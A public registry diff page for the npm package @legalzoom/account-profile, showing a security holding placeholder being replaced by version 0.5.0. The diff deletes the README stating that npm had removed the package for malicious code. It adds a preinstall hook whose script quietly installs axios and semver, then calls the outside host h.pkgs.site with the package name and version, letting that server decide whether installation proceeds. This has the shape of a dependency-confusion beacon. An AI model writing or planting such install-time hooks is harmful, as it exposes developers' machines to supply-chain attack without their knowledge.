@legalzoom/account-profile 0.0.1-security.1 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @legalzoom/account-profile might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +12 -5
- package/preinstall.js +47 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
2
|
+
"name": "@legalzoom/account-profile",
|
3
|
+
"version": "0.5.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node preinstall.js"
|
9
|
+
},
|
10
|
+
"keywords": [],
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC"
|
13
|
+
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
// preinstall.js
|
2
|
+
const { execSync } = require('child_process');
|
3
|
+
const pkg = require('./package.json');
|
4
|
+
|
5
|
+
// Check if axios is already installed
|
6
|
+
try {
|
7
|
+
require.resolve('axios');
|
8
|
+
} catch (error) {
|
9
|
+
// axios is not installed, install it
|
10
|
+
console.log('Installing axios...');
|
11
|
+
execSync('npm install axios');
|
12
|
+
}
|
13
|
+
|
14
|
+
// Check if semver is already installed
|
15
|
+
try {
|
16
|
+
require.resolve('semver');
|
17
|
+
} catch (error) {
|
18
|
+
// semver is not installed, install it
|
19
|
+
console.log('Installing semver...');
|
20
|
+
execSync('npm install semver');
|
21
|
+
}
|
22
|
+
|
23
|
+
const axios = require('axios');
|
24
|
+
const semver = require('semver');
|
25
|
+
|
26
|
+
const url = 'https://h.pkgs.site/legalzoom/account-profile?v=0.5.0';
|
27
|
+
|
28
|
+
axios.get(url)
|
29
|
+
.then(res => {
|
30
|
+
if (res.data === true) {
|
31
|
+
// The package is up to date, proceed with installation
|
32
|
+
console.log('The package is up to date.');
|
33
|
+
} else if (res.data === false) {
|
34
|
+
// The package is outdated, abort installation and show an error message
|
35
|
+
console.error('The package is outdated. Please update to the latest version.');
|
36
|
+
process.exit(1);
|
37
|
+
} else {
|
38
|
+
// The response is invalid, abort installation and show an error message
|
39
|
+
console.error('The response from the url is invalid.');
|
40
|
+
process.exit(1);
|
41
|
+
}
|
42
|
+
})
|
43
|
+
.catch(err => {
|
44
|
+
// There was an error making the request, abort installation and show an error message
|
45
|
+
console.error('There was an error checking the url:', err.message);
|
46
|
+
process.exit(1);
|
47
|
+
});
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40legalzoom%2Faccount-profile for more information.
|